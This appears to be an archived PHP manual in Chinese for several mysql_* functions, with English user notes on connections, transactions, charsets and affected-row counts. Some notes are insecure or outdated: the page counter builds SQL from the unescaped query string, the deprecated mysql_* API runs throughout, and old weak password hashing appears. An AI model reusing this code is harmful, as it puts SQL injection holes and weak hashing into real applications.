       public function __construct ( $s_host , $s_user , $s_pass , $s_db )
       {
           $this -> r_conn = mysql_connect ( $s_host , $s_user , $s_pass ) or die ( mysql_error ( ) ) ;
           mysql_select_db ( $s_db ) ;
       }

       private function array_make ( $s_sql , $i_type )
       {
           $r_rs = mysql_query ( $s_sql , $this -> r_conn ) or die ( mysql_error ( ) ) ;
           while ( $a_col = mysql_fetch_array ( $r_rs , $i_type ) )
           {
               $a_rs [ ] = $a_col ;
           }
           mysql_free_result ( $r_rs ) ;
           return ( $a_rs ) ;
       }

       public function array_logic ( $s_sql )
       {
           $a_rs = $this -> array_make ( $s_sql , MYSQL_NUM ) ;
           return ( $a_rs ) ;
       }

       public function array_assoc ( $s_sql )
       {
           $a_rs = $this -> array_make ( $s_sql , MYSQL_ASSOC ) ;
           return ( $a_rs ) ;
       }

       public function array_both ( $s_sql )
       {
           $a_rs = $this -> array_make ( $s_sql , MYSQL_BOTH ) ;
           return ( $a_rs ) ;
       }

   }

   $o_mysql = new mysql_array ( 'localhost' , 'user' , 'pass' , 'db' ) ;
   $s_sql = "SHOW TABLES" ;
   $a_rs = $o_mysql -> array_assoc ( $s_sql ) ;

   echo '<pre>' ;
   print_r ( $a_rs ) ;

?>
medic at setiherbipolis dot de
15-May-2005 11:42
Client does not support authentication protocol requested by server; consider upgrading MySQL client

means that you're using an old version of MySQL Client ( possibly not mysqli)

Authentication protocol for MySQL has changed with version 4.1.

To get a hint at which mysql-client version you're using try phpinfo();
Chad
07-May-2005 10:58
I had the same problem with the new Mac OS Tiger Server. Refer to http://dev.mysql.com/doc/mysql/en/old-client.html

Worked for me.
06-Mar-2005 03:01
If you are installing PHP5 on Windows 2003 server (AKA Win 2k3) and need MySQL to work using the either the php_mysql.dll or php_mysqli.dll or both of them at the same time, and MySQl isn't showing up in phpinfo, then your php.ini is probably not loading.  In the direction in the PHP 5 zip file, they will tell you to add your PHP install directory to your windows path.  This should tell php where to load its php.ini from but it doesn't.  If you want to get this to work, you don't have to copy any DLL's anywhere like everyone suggests.  All you have to do is add the folling regsitry key to windows:

[HKEY_LOCAL_MACHINE\SOFTWARE\PHP]
"IniFilePath"="C:\\PHP"

simply copy the above 2 lines of code into a text file and save the file as php_ini_path.reg

After you save the file it will look like a registry file.  Simply double click on it.

It will make it so PHP will look for your php.ini in C:\PHP.  I would assume you can edit this if you install php into a different location, but I haven't tried that.

After running the reg file, make sure your php.ini is in your PHP dir and make sure all the appropriate things are set.  This should get you up and running.  Make sure you also follow all the steps on how to make it work in IIS.  This is just an addition to the direction.
Protik Mukherjee
04-Mar-2005 01:34
Fedora mysql problems!!
In Fedora 3 the php mysql module does not come with the default installation. To install it use $>yum install php_mysql
If u dont do this you will get errors with mysql functions like mysql_connect()

Hope this helps!
tumaine no at spam verizon net
24-Dec-2004 12:21
I had a hard time with upgrading to php version 5.2.0 in Windows XP Pro since mySQL queries all of a sudden stopped working and led to blank pages on my site.  I spent a good half day searching google trying to figure out this problem, and didn't quite know how compiling PHP would help me.  It is not necessary.  Set up PHP manually with the ZIP folder download.

This is a good link to read and wish I found it earlier:

http://www.zend.com/manual/install.windows.extensions.php

If you are getting an error popup about not being able to load some mysql.dll when starting apache, you need to change this in your php.ini file:

extension_dir = "./" to something like "c:\php\ext"

Also what I was doing wrong was that I forgot to uncomment the following line in my php.ini file:

extension=php_mysql.dll

Restart apache, and everything should work.

Thought that I could save someone time and frustration when upgrading, since versions 5+ do not include mySQL support by default as earlier versions apparently do.
jon at mysql dot com
11-Dec-2004 06:32
Re Pat's note: You can add the --old-passwords option in the [mysqld] section of your MySQL my.cnf or my.ini configuration file. This option will force the MySQL server  to use the old-style password hashing for all connections. This is not really recommended, as it's less secure, but will allow you to use existing accounts without resetting the passwords.

Of course, as already mentioned, you can use the MySQL OLD_PASSWORD() function instead to handle this issue on an account-by-account basis.

The optimal solution when migrating to MySQL 4.1+ from a previous version is to upgrade to PHP 5 (if you're not using it already) and rewrite any code accessing MySQL using the mysqli extension, which is more secure and provides a much better API.

For more information, see the MySQL Manual: http://dev.mysql.com/doc/mysql/en/Application_password_use.html
lkujala at uniserve dot com
19-Nov-2004 05:43
PROBLEM:
Error Message: the specified module could not be found.
When trying to load a php_mysql.dll / php_mysqli.dll / php_mssql.dll extension on a Windows platform.

CAUSE:
The standard windows installer package is rather incomplete; it does not include any of the DLL's needed for the optional extensions. In order to use any extension you need to install the FULL zip distribution (unless you like fooling around with dll hell), not just the php_*.dll extensions. You might as well include ALL of the DLL's since the dependencies as documented are wrong (i.e. you need more than libmysql.dll for the php_mysql.dll to load).

I did find the standard windows installer useful for the inital setup though.
nleippe at integr8ted dot com
13-Oct-2004 06:22
trace_mode breaks SQL_CALC_FOUND_ROWS.
This is because it emits an EXPLAIN <query> before sending the <query> by itself, thus the subsequent SELECT FOUND_ROWS() is no longer the next consecutive query, and the result is zero.
This was true for me for at least MySQL 4.0.21 and 4.1.5gamma.
(PHP 4.3.9)
Melvin Nava: e-4(at)venezolano.web.ve
13-Sep-2004 03:02
To count page hits, just put next code in a text file and include it in every one of your pages. It will log even different querystrings as different pages. (a MySQL database and table is needed first)

This can be a pretty good example of what you can do with PHP and MySQL. I made this script to log and show all hits in: http://www.venezolano.web.ve/

<?php
/************************
This needs a MySQL table you can create with this:

CREATE TABLE `stats_pagecounter` (
  `id` int(25) NOT NULL auto_increment,
  `page_name` varchar(255) NOT NULL default '',
  `page_hits` int(25) NOT NULL default '0',
  PRIMARY KEY  (`id`)
) TYPE=MyISAM;

**************************
COUNTING STARTS
*************************/
function page_count($page) {
   $c_link        = mysql_connect('localhost', 'username', 'password')
       or die('counter CONNECT error: '.mysql_errno().', '.mysql_error());
   mysql_select_db('database_name');
   $c_query    = "SELECT * FROM stats_pagecounter
       WHERE (page_name = '$page')";
   $c_result    = mysql_query($c_query, $c_link)
       or die('counter SELECT error: '.mysql_errno().', '.mysql_error());
   if (mysql_num_rows($c_result)) {
       $row=mysql_fetch_array($c_result,MYSQL_ASSOC);
       $pcounter = $row['page_hits']+1;
       $c_update = "UPDATE stats_pagecounter
           SET page_hits = '$pcounter' WHERE page_name = '$page'";
       $c_hit = mysql_query($c_update, $c_link)
           or die('counter UPDATE error: '.mysql_errno().', '.mysql_error());
   } else {
       $c_insert = "INSERT INTO stats_pagecounter
           VALUES ( '0', '$page', '1')";
       $c_page = mysql_query($c_insert, $c_link)
           or die('counter INSERT error: '.mysql_errno().', '.mysql_error());
       $pcounter = 1;
   }
   mysql_free_result($c_result);
   mysql_close($c_link);
   return $pcounter;
}
$phpself_url = $_SERVER['SERVER_NAME'].
   $_SERVER['PHP_SELF'].'?'.
   $_SERVER['QUERY_STRING'];
$page_hits = page_count($phpself_url);
/************************
COUNTING ENDS
*************************/

/************************
Put next line in a page to show his page hits
(If you want to)
************************/
echo $page_hits;
?>
aidan at php dot net
15-Aug-2004 08:59
If you want to replicate the output of `mysql --html`, printing your results in a HTML table, see this function:

http://aidan.dotgeek.org/lib/?file=function.mysql_draw_table.php
irn-bru at gmx dot de
27-May-2004 08:27
Note, that the sql.safe_mode configuration setting does effect all mysql_* functions. This has nothing to to with the php safe mode, check the [SQL] section in php.ini.

I found out, that if you set sql.safe_mode = On, mysql_connect will ignore provided username and passwort and makes use of the script owner instead (checked on debian).

Brian
Pat
23-Jan-2004 07:02
[Editor Note:
The password hashing was updated in MySQL 4.1, you must use the MySQLi extension with MySQL 4.1+ (or use the following method to allow
pre 4.1 clients to connect).]

MySQL 5.0 has a new password system, and PHP cannot connect to it because it cannot send a correct password.  You must use the MySQL command OLD_PASSWORD() when adding a user to the database, or PHP cannot connect as of the library that comes with PHP 5.0Beta3
gyohng at netscape dot net
21-Jun-2003 01:16
The following page contains a complete easy to read tutorial of MySQL programming with PHP.

http://www.yohng.com/phpm/
soren at byu dot edu
15-Mar-2003 05:23
Let's say that you want to generate a MySQL password hash from a plain text password.  Normally, you would just submit the MySQL query "SELECT PASSWORD('password')", but if for some reason you can't access to MySQL database directly, then you can use the following function (translated right out of the MySQL source code):

<?php
function mysql_password($passStr) {
       $nr=0x50305735;
       $nr2=0x12345671;
       $add=7;
       $charArr = preg_split("//", $passStr);

       foreach ($charArr as $char) {
               if (($char == '') || ($char == ' ') || ($char == '\t')) continue;
               $charVal = ord($char);
                 $nr ^= ((($nr & 63) + $add) * $charVal) + ($nr << 8);
               $nr2 += ($nr2 << 8) ^ $nr;
                 $add += $charVal;
       }

       return sprintf("%08x%08x", ($nr & 0x7fffffff), ($nr2 & 0x7fffffff));
}
?>

example:

<? print mysql_password("hello"); ?>

outputs:

70de51425df9d787

Which is the same result you get if you do "SELECT PASSWORD('hello')" directly in MySQL.  Hopefully you'll never be in a situation where you have to use this, but if you need it (like I did), it's here.
past at sbox dot tugraz dot at
22-Feb-2003 06:17
As MySQL docs say, RAND() is not very usefull for generation of randomized result orders.

But this worked for me on Linux, however:
Somewhere before:
mt_srand((double)microtime()*1000000);

"SELECT *, " RAND(".mt_rand(0,86622340).")*10000%100 AS randomvalue ORDER BY randomvalue"

The upper value for mt_rand() has to be Quite Big to see any effect on MySQL's RAND(). The exact number shouldn't be significant. Note the multiplication and modulo; MySQL seems to count steadily upwards when generating random numbers, so we take some numbers from between.
mijnpc at xs4all dot nl
21-Nov-2002 06:33
If you have a Windows machine running a webserver with PHP you don't need to install MySQL server to locally test scripts, if you are granted to establish a Secure Telnet connection (port 22) to the remote webserver.

To do this you need a Secure Telnet client, which supports port-forwarding.
Before you establish a connection, define the port-forward.
Forward local port 3306 to [name or ip of remote server]:3306
Make sure that local ports accept connections from other hosts
Save this session

Connect to remote server with username and password
Minimize the shell and that's it...

You can use the same username (and password) as if you were working on the remote server !
E.g. : $link = mysql_connect("localhost", "root", "") or die("no way jose");

You may get a shell-timeout after xx minutes depending on your remote server, just reconnect or press enter in the shell once in a while...

An example of a superb freeware Secure Telnet client is Putty : Putty : http://www.chiark.greenend.org.uk/~sgtatham/putty/

This 'discovery' really has saved me a lot of time because I don't have to upload the scripts to the remote server time and time again, pressing [save] is enough, heh (-:
16-Jun-2002 03:38
Regarding transactions, you must use a recent MySQL version which supports InnoDB tables. you should read the mysql manual (the part about Innodb tables, section 7.5) and configure your server to use them.
Some reading about how it works:
http://php.weblogs.com/discuss/msgReader$1446?mode=topic
(Click where it says Part2, I can't put the direct URL here because it is too long)

Then in PHP you use commands like:

mysql_query("BEGIN");
mysql_query("COMMIT");
mysql_query("ROLLBACK");

You must make sure that you convert your existing tables to innodb or create new ones: CREATE TABLE (...) type=innodb;
jeyoung at priscimon dot com
26-Apr-2002 12:23
[Ed. Note:
This may be due to the fact that subsequent calls to mysql_connect with the same parameters return the same resource id for the connection, so in reality it is using the same connection.  In order to force a new link, you must specify the new_link parameter in mysql_connect.]

MySQL transactions

MySQL supports transactions on tables that are of type InnoDB. I have noticed a behaviour which is puzzling me when using transactions.

If I establish two connections within the same PHP page, start a transaction in the first connection and execute an INSERT query in the second one, and rollback the transaction in the first connection, the INSERT query in the second connection is also rolled-back.

I am assuming that a MySQL transaction is not bound by the connection within which it is set up, but rather by the PHP process that sets it up.

This is a very useful "mis-feature" (bug?) because it allows you to create something like this:

class Transaction {
  var $dbh;

  function Transaction($host, $username, $password) {
   $this->dbh = mysql_connect($host, $username, $password);
  }

  function _Transaction() {
     mysql_disconnect($this->dbh);
  }

  function begin() {
   mysql_query("BEGIN", $this->dbh);
  }

  function rollback() {
     mysql_query("ROLLBACK", $this->dbh);
  }

  function commit() {
   mysql_query("COMMIT", $this->dbh);
  }
}

which you could use to wrap around transactional statements like this:

$tx =& new Transaction("localhost", "username", "password");
$tx->begin();
$dbh = mysql_connect("localhost", "username", "password");
$result = mysql_query("INSERT ...");
if (!$result) {
  $tx->rollback();
} else {
  $tx->commit();
}
mysql_disconnect($dbh);
unset($tx);

The benefit of such a Transaction class is that it is generic and can wrap around any of your MySQL statements.
nospam at nospam dot nos
20-Nov-2001 01:17
ever wanted to know the date a table was last updated? use this:

$info = mysql_fetch_array(mysql_query("show table status from databasename like 'tablename'"));
echo $info["Update_time"];
skelley at diff dot nl
26-Sep-2001 05:11
Hi, here's a nice little trick to select records in random order from a table in a MySQL database prior to version 3.23

SELECT *, (ItemID/ItemID)*RAND() AS MyRandom FROM Items ORDER BY MyRandom

[Editors note: And just "SELECT * FROM foo ORDER BY RAND()" after 3.23]
mbabcock-php at fibrespeed dot net
29-Jul-2001 10:41
Since there aren't functions to start and end/rollback transactions, you'll have to use mysql_query("BEGIN"), mysql_query("COMMIT") and mysql_query("ROLLBACK").  These will only work properly on tables that support transactions.  You may also wish to roll your own mysql_begin (etc) functions that run the above queries for you.
philip at cornado dot com
24-Jul-2001 03:24
If you're new to this, you really should learn basic SQL before moving on.  PHP != SQL. Here's are a few good basic SQL tutorials:

  * http://www.sqlcourse.com/
  * http://www.w3schools.com/sql/
  * http://www.oreillynet.com/pub/ct/19
mw-php at ender dot com
22-Jun-2001 12:11
The mysql_fetch_[row|object|array] functions return data as type string. Owing to the very flexible nature of php variables, this is normally not relevent, but if you happen to retrieve two integers from a database, then try to compare with bitwise operators, you'll run into trouble, because (19 & 2) == 2, but ("19" & "2") == 0. To remedy this, if you use variables from a database with bitwise operators, use the settype() function to explicitly cast your variables as integers before comparing.
add a note add a note

后退 | 起点 | 前进
muscat_setup | 上一级 | mysql_affected_rows


mysql_affected_rows

(PHP 3, PHP 4, PHP 5)

mysql_affected_rows -- 取得前一次 MySQL 操作所影响的记录行数

说明

int mysql_affected_rows ( [resource link_identifier] )

取得最近一次与 link_identifier 关联的 INSERT，UPDATE 或 DELETE 查询所影响的记录行数。

参数

link_identifier

MySQL 的连接标识符。如果没有指定，默认使用最后被 mysql_connect() 打开的连接。如果没有找到该连接，函数会尝试调用 mysql_connect() 建立连接并使用它。如果发生意外，没有找到连接或无法建立连接，系统发出 E_WARNING 级别的警告信息。

返回值

执行成功则返回受影响的行的数目，如果最近一次查询失败的话，函数返回 -1。

如果最近一次操作是没有任何条件（WHERE）的 DELETE 查询，在表中所有的记录都会被删除，但本函数返回值在 4.1.2 版之前都为 0。

当使用 UPDATE 查询，MySQL 不会将原值和新值一样的列更新。这样使得 mysql_affected_rows() 函数返回值不一定就是查询条件所符合的记录数，只有真正被修改的记录数才会被返回。

REPLACE 语句首先删除具有相同主键的记录，然后插入一个新记录。本函数返回的是被删除的记录数加上被插入的记录数。

范例

例子 1. mysql_affected_rows() 例子

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
mysql_select_db('mydb');

/* 本例返回被删除记录的准确数目 */
mysql_query('DELETE FROM mytable WHERE id < 10');
printf("Records deleted: %d\n", mysql_affected_rows());

/* 对于非真值的 WHERE 子句，应返回 0 */
mysql_query('DELETE FROM mytable WHERE 0');
printf("Records deleted: %d\n", mysql_affected_rows());
?>

上例的输出类似于：

Records deleted: 10
Records deleted: 0

例子 2. 使用事务处理的 mysql_affected_rows() 例子

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
mysql_select_db('mydb');

/* Update records */
mysql_query("UPDATE mytable SET used=1 WHERE id < 10");
printf ("Updated records: %d\n", mysql_affected_rows());
mysql_query("COMMIT");
?>

上例的输出类似于：

Updated Records: 10

注释

事务处理: 如果使用事务处理（transactions），需要在 INSERT，UPDATE 或 DELETE 查询后调用 mysql_affected_rows() 函数，而不是在 COMMIT 命令之后。

SELECT 语句: 要获取 SELECT 所返回的行数，可以用 mysql_num_rows()。

参见

mysql_num_rows()
mysql_info()

add a note add a note User Contributed Notes
mlugassy at 2find dot co dot il
08-Oct-2005 09:22
To solve the affectedRows() issue on MySQL using PEAR::DB, simply add a 'client_flags' key with a value of 2 to your $dsn options:

$dsn = array(
   'phptype'  => 'mysql',
   'client_flags'  => 2,
   'username' => 'someuser',
   'password' => 'apasswd',
   'hostspec' => 'localhost',
   'database' => 'thedb',
);
temp02 at flexis dot com dot br
29-Jun-2005 08:39
SCENARIO
1. You're using MySQL 4.1x with foreign keys.
2. You have table t2 linked to table t1 by a CASCADE ON DELETE foreign key.
3. t2 has a UNIQUE key so that duplicate records are unacceptable.
3. You have a REPLACE query on t1 followed by an INSERT query on t2 and expect the second query to fail if there's an attempted insert of a duplicate record.

PROBLEM
You notice that the second query is not failing as you had expected even though the record being inserted is an exact duplicate of a record previously inserted.

CAUSE
When the first query (the REPLACE query) deletes a record from t1 in the first stage of the REPLACE operation, it cascades the delete to the record that would be duplicated in t2. The second query then does not fail because the "duplicate" record is no longer a duplicate, as the original one has just been deleted.
jeroen_vde at hotmail dot com
12-Mar-2005 09:22
If you want to delete all in table, and get number of affected rows back use a delete statment of this form:

mysql> DELETE FROM table_name WHERE 1>0;

Note that this is much slower than DELETE FROM table_name with no WHERE clause, because it deletes rows one at a time.

Source: MySQL Reference Manual "Delete Syntax"
steffen at showsource dot dk
28-Sep-2004 06:20
Using OPTIMIZE TABLE will also return true.
So, if you want to check the numbers of deleted records, use mysql_affected_rows() before OPTIMIZE TABLE
sam_dot_fullman_at_verizon.nt
20-May-2004 03:12
Just a MySQL note, using REPLACE INTO on a record could return either ONE or TWO affected rows with this function.  Basically, REPLACE INTO will insert a record if no combination of unique keys is matched, or delete the existing record if the new record matches one or more unique keys, then insert the new record over it.

This is actually helpful if you want to know if a record was already in there.  (Affected rows=1 means there wasn't already a record there, Affected rows=2 means there was), but if you don't know how REPLACE INTO works it could confuse you.  I didn't see this in the notes above and hope it helps someone out.
deponti A_T tiscalinet D0T it
07-Nov-2003 08:52
It works also for REPLACE query,returning:
0 if the record it's already updated (0 record modified),
1 if the record it's new (1 record inserted),
2 if the record it's updated (2 operations: 1 deletion+ 1 insertion)
Richard dot Johnson2 at student dot gu dot edu dot au
25-Oct-2003 06:56
RE: sng2nara's comment

I think the expression should read:
"/^[^0-9]+([0-9]+)[^0-9]+([0-9]+)[^0-9]+([0-9]+).*$/"
as there is nothing usually returned after the number of warnings.  The previous expression required at least 1 non-digit character after the number of warnings.
sng2nara
02-Oct-2003 03:41
You can use following code for choosing update or insert.

mysql_query($update_sql);
preg_match(
"/^[^0-9]+([0-9]+)[^0-9]+([0-9]+)[^0-9]+([0-9]+)[^0-9]+$/",
  mysql_info(),
  $arr);

if( $arr[1] == 0 ) // a number of matched rows is 0
{...do insert query...}
else
{...nothing...}
raistlin at oracolo dot com
04-Jul-2003 12:38
| If you need to know the actual count of rows,
| even if some update changed nothing add a field
| count int(11) and add | one on every update, like in:
|
| mysql_query("update table set count=count+1, ...");
| if (mysql_affected_rows()==0) {
|  mysql_query("insert into table ...");
| }

Better: add a field `flag` tinyint(1) unsigned default '0'
on every update: "update table set flag=1-flag, ..."
anthonyd at rhsonline dot net
03-Jul-2003 07:08
My little work around for the update problem (that I ran into):

if (mysql_affected_rows()==0)  {
  $q = "select .. WHERE ...<search for what you updated>'";
  if (mysql_num_rows(mysql_query($q))==0)
   die("0 rows affected");
  else
   echo "Record Alredy Existed";
}

It is probably not the best way, as I sometimes run 2 queries for the same thing, but it gets the job done.
phpweb at eden2 dot com
28-Jun-2003 02:47
"Note: When using UPDATE, MySQL will not update columns where the new value is the same as the old value.  This creates the possiblity that mysql_affected_rows() may not actually equal the number of rows matched, only the number of rows that were literally affected by the query."

As of PHP 4.3.0 (I assume, I only tried with 4.3.2), you can make mysql_affected_rows() return the number of rows matched, even if none are updated.

You do this by setting the CLIENT_FOUND_ROWS flag in mysql_connect(). For some reason, not all the flags are defined in PHP, but you can use the decimal equivalent, which for CLIENT_FOUND_ROWS is 2.

So, for example:

$db= mysql_connect("localhost", "user", "pass", false, 2);
mysql_select_db("mydb", $db);

$query= "UPDATE ...";
mysql_query($query);
print mysql_affected_rows(); // more than 0
mysql_query($query); // same query twice
print mysql_affected_rows(); // still more than 0
gabriel dot preda at amr dot ro
18-Jun-2003 11:35
-1-----------------------------
$w = "insert into...";
$q = mysql_query($w) or die('mortua est'); // 1433 times
print mysql_affected_rows($cnex); // prints 1433
-2-----------------------------
$w = "insert into...";
$q = mysql_query($w) or die('mortua est'); // 1433 times
@mysql_query("SELECT a FROM b LIMIT x"); //
print mysql_affected_rows($cnex); // prints x

It appears that php's "mysql_affected_rows" calls mysql's "mysql_affected_rows"... witch says:

"For SELECT statements, mysql_affected_rows() works like mysql_num_rows().
mysql_affected_rows() is currently implemented as a macro."
adam at NOSPAM dot example dot com
18-Jan-2003 03:34
using PHP/MySql -There is an alternate way to get the rows returned -
for non-critical use i suppose--due to its oversimplified approach.

You can simply intialize a variable to the integer value of 0, and then, inside of the "while" loop that returns the rows
of your query, you increment that variable and then print out the final value of that variable outside of that "while" loop.
Or, you could print the variable within each iteration if you want to give each row returned [ as in a chart where you
need to provide line numbers ]

//code:
$sql = "SELECT * FROM YourTable
ORDER BY Last_Name";

$result = @mysql_query($sql, $connection) or die("Could not execute query.");

$i = 0; // we will use variable $i as a returned row counter.

while ($row = mysql_fetch_array($result)) {
$First_Name = $row['First_Name'];
$Last_Name = $row['Last_Name'];
$num_rows = mysql_num_rows($result);
$i++;

//To show the rows number by number

echo "Member no. $i $First_Name $Last_Name < br >";
// the < br > is an actual HTML line break
// which is not allowed on posting these notes,
// to use it, close up the spaces between the < and the >

// above echo statement will produce the results below if 3 rows were returned:
//  Member no. 1 John Jones
//  Member no. 2 Mary Smith
//  Member no. 3 Nancy Steffan

}
  echo "$i Rows Returned from query.";

// above statement will produce:
//    3 Rows Returned from query.

Hope this helps-- again,
this is a simplified approach.

take care;
<?adam?>
spam123 at cobsen dot biz
09-Dec-2002 09:04
If you need to know the actual count of rows, even if some update changed nothing add a field count int(11) and add one on every update, like in:

mysql_query("update table set count=count+1, ...");
if (mysql_affected_rows()==0) {
  mysql_query("insert into table ...");
}
ben-xo at NOSPAMdubplatesNOSPAM dot org
21-Apr-2002 10:30
mysql_affected_rows() reports on the number of rows affected by an in-place operation on the database, but mysql_num_rows() returns the number of rows in a MySQL record set (which is held by PHP after MySQL has generated it). This means that if you can do

$a = mysql_query("SELECT ...");
$b = mysql_query("SELECT ...");
if (mysql_unm_rows($a) > mysql_num_rows($b)) print "a is larger";
else print "b is larger";

... but this does not make sense for the operations supported by mysql_affected_rows(), which reports on the status of the database connection as a whole.

Particularly note this:

$query = "UPDATE ...";
mysql_query($query);
print mysql_affected_rows(); // more than 0
mysql_query($query); // same query twice
print mysql_affected_rows(); // 0.

.. this is because the 2nd time you execute the identical query, all the rows are already updated so no rows are affected the 2nd time.

I hope this clears up why mysql_num_rows() and mysql_affected_rows() are fundamentally different
dfylstra at frontsys dot com
13-Aug-2001 03:06
mysql_affected_rows() also reports the number of rows changed by the LOAD DATA command.  If you use the IGNORE option in LOAD DATA and you know the number of rows in the input file, you can use mysql_affected_rows() to determine the number of rows that were ignored.
peter at petermoulding dot NO_SPAM dot com
06-Aug-2001 02:34
mysql_affected_rows() fails with some automatic updates. An example from the PHP Black Book is that of session records updated by automatic timestamps. When you maintain the session valid time via a timestamp and use some databases including MySQL, then update the session record, the automatic timestamp update will not count as an update in mysql_affected_rows(). You have to manually update the timestamp field. In MySQL that is achieved by setting the field to nulls. If your time field is named updated, you have to include
set updated = null
Other databases require appropriate tricks and you will have to test stored procedures in your database to see if their updates count in mysql_affected_rows().
add a note add a note

后退 | 起点 | 前进
MySQL 函数 | 上一级 | mysql_change_user


mysql_change_user

(PHP 3 >= 3.0.13)

mysql_change_user -- 改变活动连接中登录的用户

说明

int mysql_change_user ( string user, string password [, string database [, resource link_identifier]] )

mysql_change_user() 改变当前活动连接中的登录用户，或者是可选的 link_identifier 参数所指定的连接。如果指明了数据库，将在改变用户后成为当前数据库。如果新用户和密码认证失败，当前连接的用户保持活动状态。如果成功则返回 TRUE，失败则返回 FALSE。

注: 本函数自 PHP 3.0.13 引进并需要 MySQL 3.23.3 或更高版本。不能用于 PHP 4。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysql_affected_rows | 上一级 | mysql_client_encoding


mysql_client_encoding

(PHP 4 >= 4.3.0, PHP 5)

mysql_client_encoding -- 返回字符集的名称

说明

int mysql_client_encoding ( [resource link_identifier] )

mysql_client_encoding() 返回当前连接的默认字符集名称。

例子 1. mysql_client_encoding() 例子

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$charset = mysql_client_encoding($link);
printf ("current character set is %s\n", $charset);
?>

以上例子将产生如下输出：

current character set is latin1

参见 mysql_real_escape_string()。

add a note add a note User Contributed Notes
romain at dardour dot com
15-May-2006 11:56
I couldn't get any luck with all the stuff mentioned below, and despite having an unicode DB, and setting all my field to utf8_general_ci...
After looking around, I found that this page: http://dev.mysql.com/tech-resources/articles/4.1/unicode.html was adding the fields with an extra info before each value:

<?
mysql_query("INSERT INTO table SET field = _utf8'value'");
?>
Mind the "_utf8" before the field value, and outside of the quotes.

This works for me wether in an Insert or an Update statement.

No need here for a <? mysql_query("SET NAMES utf8"); ?> before each query, or to change anything in the config files (that was important since I don't have access to these).
zayfod at yahoo dot com
21-Apr-2006 07:57
The right lines to put in /etc/my.cnf (or other MySQL options file) are:

[client]
init-command="SET NAMES utf8"

Unfortuantely the PHP mysql_connect() function does not use MySQL options files so this is not a sollution for changing the default connection character set for mysqlclient library v4.1+.

The only working sollution remains:

mysql_query("SET NAMES utf8", $conn);

(of course /ext/mysql/php_mysql.c can always be patched ;] )
Wio at psitrax dot de
17-Mar-2006 01:24
If you set the encoding in my.cnf like

[mysqld]
init_connect='SET NAMES utf8'

note that the content of init_connect  is not executed for users that have the SUPER privilege - ie root!
vrbcik
28-Nov-2005 01:26
I have had problems with encoding after export of tables (from hosting - via PhpMyAdmin) and import them to other machine (my notebook - via PhpMyAdmin too). In PhpMyAdmin the encoding of all data was shown correctly, not that good with the web pages (data pulled via php).
The first point is indication, that the data was imported correctly, but php script has got other character set than MySql is sending.

The script's character set is set in header: <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-2">. MySql setting was latin1.

Then following code helped me:

<?php
mysql_query("SET CHARACTER SET 'latin2'", $conn);
?>
info at jantichy dot cz
31-Dec-2004 06:02
Notice the difference between following two SQL statements:

SET NAMES 'charset_name'
SET CHARACTER SET charset_name

For more detail see
http://dev.mysql.com/doc/mysql/en/Charset-connection.html
black at scene-si dot org
20-Oct-2004 07:04
the above (as it seems to be vaguely indicated in the mysql manual) works only with mysql 4.1+
stian at grytoyr dot net
19-Oct-2004 09:09
If you experience weird problems, like some UTF-8 characters (the Unicode character &#x010D and a few others in my case) seemingly being changed to garbage by mysql_query, you may need to do something like this before your actual query:

<?php
mysql_query("SET NAMES 'utf8'", $conn);
?>

Took me days to figure that one out...
add a note add a note

后退 | 起点 | 前进
mysql_change_user | 上一级 | mysql_close


mysql_close

(PHP 3, PHP 4, PHP 5)

mysql_close -- 关闭 MySQL 连接

说明

bool mysql_close ( [resource link_identifier] )

如果成功则返回 TRUE，失败则返回 FALSE。

mysql_close() 关闭指定的连接标识所关联的到 MySQL 服务器的连接。如果没有指定 link_identifier，则关闭上一个打开的连接。

通常不需要使用 mysql_close()，因为已打开的非持久连接会在脚本执行完毕后自动关闭。参见释放资源。

注: mysql_close() 不会关闭由 mysql_pconnect() 建立的持久连接。

例子 1. MySQL 关闭例子

<?php
    $link = mysql_connect("localhost", "mysql_user", "mysql_password")
        or die("Could not connect: " . mysql_error());
    print ("Connected successfully");
    mysql_close($link);
?>

参见 mysql_connect() 和 mysql_pconnect()。

add a note add a note User Contributed Notes
bbodelcampo at yahoo dot co dot uk
13-Dec-2005 09:20
A little note about multiple simultaneous connections to different hosts...

I work on a site that pulls content primarily from one db but uses a db on a foreign server to verify licensing.  One might expect the following to work:

// Open the connection to the primary db
$res1 = mysql_connect($host1, $user1, $pass1);
mysql_select_db($db1);

// Open connection to the license server
$res2 = mysql_connect($host2, $user2, $pass2);
mysql_select_db($db2, $res2);

// Pull license data and close when done
mysql_query($check_sql, $res2);
...
mysql_close($res2);

// Now pull content from the primary db
// Not specifying the resource should default to the last open db
mysql_query($query);
...

Turns out this last query, since it cant find an active connection, will try to connect with mysql_connect() with no paramaters.  But if instead you do it as mysql_query($query, $res1), or alternatively, run the mysql_connect for this host again then it works fine.  Thus, it doesnt seem to be possible to have code with an overarching "global" db connection interspersed with temporary connections to another host/db....
4dacres at gmail dot com
13-Oct-2005 05:23
Read http://bugs.php.net/bug.php?id=30525, and wow... It might be 'just how it works', but this reads like a broken implementation. cameron2 has it right, with this implementation cleaning up connections with mysql_close() can never be done, esp. if the connection is passed to a routine that you have no visibilty into.  You just never know if setting the variable to null or calling mysql_close() is going to error the script.
levi at alliancesoftware dot com dot au
29-Apr-2005 03:03
As at 5.0.x and 4.3.x: This function should never be used with shared links; instead you should set your link variables to null.
(This explains red's and beer's () problems in previous comments)

  Here is how shared links work:
  - Each link is a resource. mysql_connect() by default looks for a resource with the same paramaters. If one exists, it will return the existing resource.
  - Every assignment of that resource to a variable increases the resource's reference count.
  - When the reference is decremented to zero, the underlying TCP/socket connection is closed.
   - Every assignment of a variable away from that resource decrements the reference count. (This includes a function level variable going out of scope)
   - mysql_close() also decrements the reference count.

Note the last two points: mysql_close() _and_ reassignment of a variable decrement the link's reference count.

A common mistake is a function like:
<?
function dothings() {
  $link = mysql_open(...);
  .. do some queries ..
  mysql_close($link)
  $link = null;
}
?>
this will decrement the counter twice, possibly closing the underlying connection and causing errors in other parts of the program.

http://bugs.php.net/bug.php?id=30525 "this is not a bug but just how it works"
beer_nomaed _AT_ hotmail _DOT_ com
03-Dec-2004 05:26
